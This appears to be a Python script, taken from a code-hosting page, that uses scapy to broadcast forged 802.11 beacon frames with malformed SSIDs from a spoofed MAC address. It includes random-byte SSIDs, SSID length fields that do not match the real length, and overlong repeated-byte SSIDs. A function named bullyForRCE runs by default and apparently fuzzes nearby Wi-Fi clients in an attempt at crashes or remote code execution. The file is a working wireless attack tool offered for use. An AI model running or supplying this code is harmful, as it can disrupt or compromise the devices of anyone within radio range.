130 lines
3.4 KiB
Python
130 lines
3.4 KiB
Python
from scapy.all import *
|
|
import urllib.parse
|
|
from random import randbytes
|
|
|
|
iface = 'wlan1'
|
|
sender = 'ac:cb:12:ad:58:27'
|
|
|
|
def sendProbe(SSID,
|
|
repeat=3,
|
|
interval=0.100):
|
|
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
|
|
addr2=sender, addr3=sender)
|
|
beacon = Dot11Beacon()
|
|
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
|
|
frame = RadioTap()/dot11/beacon/essid
|
|
sendp(frame, iface=iface, inter=interval, count=repeat)
|
|
|
|
def sendProbeRaw(SSID,
|
|
repeat=1,
|
|
interval=0.200,
|
|
listedLen=255,
|
|
lenOverride=False):
|
|
|
|
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
|
beacon = Dot11Beacon()
|
|
if lenOverride:
|
|
essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen))
|
|
else:
|
|
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
|
|
frame = RadioTap()/dot11/beacon/essid
|
|
sendp(frame, iface=iface, inter=interval, count=repeat)
|
|
|
|
def sendRandBytesBeacons(numOfBeacons=200,
|
|
lenOfSSIDs=20,
|
|
repeat=3,
|
|
interval=0.100):
|
|
for i in range(numOfBeacons):
|
|
SSID = randbytes(lenOfSSIDs)
|
|
urlEncoded = urllib.parse.quote(SSID)
|
|
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
|
|
sendProbe(SSID, repeat, interval)
|
|
|
|
def sendRandBytesBeaconsRaw(
|
|
SSID='I-am-your-pony-waifu',
|
|
numOfBeacons=200,
|
|
lenOfSSIDs=255,
|
|
listedLen=255,
|
|
lenOverridei=False,
|
|
repeat=1,
|
|
interval=0.2):
|
|
|
|
for i in range(numOfBeacons):
|
|
#SSID = randbytes(lenOfSSIDs)
|
|
urlEncoded = urllib.parse.quote(SSID)
|
|
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
|
|
sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei)
|
|
|
|
def overloadParamBeacon(max=10000,
|
|
repeat=3,
|
|
chari = "X",
|
|
interval=0.2,
|
|
listedLen=1):
|
|
|
|
for i in range(max):
|
|
num = i+1000
|
|
SSIDI = chari*num
|
|
SSID = f"{num}{SSIDI}"
|
|
|
|
dot11 = Dot11(type=0,
|
|
subtype=8,
|
|
addr1='ff:ff:ff:ff:ff:ff',
|
|
addr2=sender,
|
|
addr3=sender)
|
|
|
|
beacon = Dot11Beacon()
|
|
|
|
essid = Dot11Elt(ID='SSID',
|
|
info=RawVal(SSID),
|
|
len=listedLen)
|
|
|
|
frame = RadioTap()/dot11/beacon/essid
|
|
|
|
print(f"\nSending {num}{chari}*{num} as SSID With Length Of {listedLen}")
|
|
sendp(frame, iface=iface, inter=interval, count=repeat)
|
|
|
|
#overloadParamBeacon()
|
|
|
|
|
|
|
|
#$sendRandBytesBeaconsRaw(
|
|
# SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU",
|
|
# numOfBeacons=200,
|
|
# lenOfSSIDs=2,
|
|
# listedLen=1,
|
|
# lenOverridei=True,
|
|
# repeat=3,
|
|
# interval=0.1)
|
|
|
|
def bullyForRCE(max=10000,
|
|
repeat=3,
|
|
chari = "\xff",
|
|
interval=0.2,
|
|
listedLen=255):
|
|
|
|
for i in range(max):
|
|
chars = chari*i
|
|
#SSID = f"n-{i}-YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU{chars}\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
|
|
SSID = f"n{chars}"
|
|
urlEncoded = urllib.parse.quote(SSID)
|
|
|
|
dot11 = Dot11(type=0,
|
|
subtype=8,
|
|
addr1='ff:ff:ff:ff:ff:ff',
|
|
addr2=sender,
|
|
addr3=sender)
|
|
|
|
beacon = Dot11Beacon()
|
|
|
|
essid = Dot11Elt(ID='SSID',
|
|
info=RawVal(SSID),
|
|
len=listedLen)
|
|
|
|
frame = RadioTap()/dot11/beacon/essid
|
|
|
|
print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}")
|
|
sendp(frame, iface=iface, inter=interval, count=repeat)
|
|
|
|
bullyForRCE()
|
|
#sendRandBytesBeacons(100, 20, 5, 0.1)
|